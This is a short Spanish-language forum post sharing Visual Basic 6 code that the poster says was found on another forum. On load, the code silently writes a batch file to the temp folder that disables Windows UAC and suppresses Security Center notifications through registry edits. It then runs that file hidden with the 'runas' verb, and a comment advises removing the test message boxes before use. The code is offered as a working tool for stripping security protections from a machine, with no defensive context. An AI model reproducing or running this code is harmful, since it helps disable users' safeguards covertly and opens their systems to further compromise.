a ver si les sirve esto...
Es un code que encontrer en un foro
Código
Option Explicit Private Declare Function CreateFile Lib "kernel32" _ Alias "CreateFileA" ( _ ByVal lpFileName As String, _ ByVal dwDesiredAccess As Long, _ ByVal dwShareMode As Long, _ ByVal lpSecurityAttributes As Long, _ ByVal dwCreationDisposition As Long, _ ByVal dwFlagsAndAttributes As Long, _ ByVal hTemplateFile As Long) As Long Private Declare Function WriteFile Lib "kernel32" ( _ ByVal hFile As Long, _ ByVal lpBuffer As Any, _ ByVal nNumberOfBytesToWrite As Long, _ lpNumberOfBytesWritten As Long, _ ByVal lpOverlapped As Long) As Long Private Declare Function CloseHandle Lib "kernel32" ( _ ByVal hHandle As Long) As Long Const OPEN_ALWAYS = 4 Const GENERIC_WRITE = &H40000000 Const FILE_SHARE_WRITE = &H2 Const FILE_ATTRIBUTE_NORMAL = &H80 Private Declare Function ShellExecuteEx Lib "shell32.dll" ( _ ByRef lpExecInfo As SHELLEXECUTEINFOA) As Long Private Type SHELLEXECUTEINFOA cbSize As Long fMask As Long hwnd As Long lpVerb As String lpFile As String lpParameters As String lpDirectory As String nShow As Long hInstApp As Long lpIDList As Long lpClass As String hkeyClass As Long dwHotKey As Long hIcon As Long hProcess As Long End Type Const SW_NORMAL = 1 Const SW_HIDE = 0 Private Sub Form_Load() On Error Resume Next Dim strPath As String Dim strBatCode As String strBatCode = "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Security Center" & Chr(34) & " /v UACDisableNotify /t reg_dword /d 00000001 /f" & vbCrLf & _ "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" & Chr(34) & " /v EnableLUA /t REG_DWORD /d 00000000 /f" Write2File Environ$("TEMP") & "\temp.bat", strBatCode strPath = Environ$("TEMP") & "\temp.bat" If Elevate(strPath) Then MsgBox "! Elevación de Privilegios Exitosa ¡ A : " & vbCrLf & _ strPath, vbInformation, "ShellExecuteEx RUNAS Verb" ' si lo usan quiten estos mensajes solo los coloque para probar la función Else MsgBox "No se pudo elevar privilegios A : " & vbCrLf & _ strPath, vbInformation, "ShellExecuteEx RUNAS Verb" End If End End Sub Private Function Elevate(strPath As String) As Boolean Dim ExInfo As SHELLEXECUTEINFOA Dim lnRet As Long With ExInfo .cbSize = Len(ExInfo) .fMask = 0& .hwnd = hwnd .lpVerb = "runas" .lpFile = strPath .lpParameters = vbNullChar .lpDirectory = vbNullChar .nShow = SW_HIDE End With On Error Resume Next lnRet = ShellExecuteEx(ExInfo) If lnRet <> 1 Then Elevate = False Exit Function End If Elevate = True End Function Private Sub Write2File(Filename As String, Buffer As String) On Error Resume Next Dim hFile As Long Dim hWrite As Long hFile = CreateFile(Filename, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0) If hFile <> 0 Then hWrite = WriteFile(hFile, Buffer, Len(Buffer), 0, 0) End If CloseHandle (hFile) End Sub
Es un code que encontrer en un foro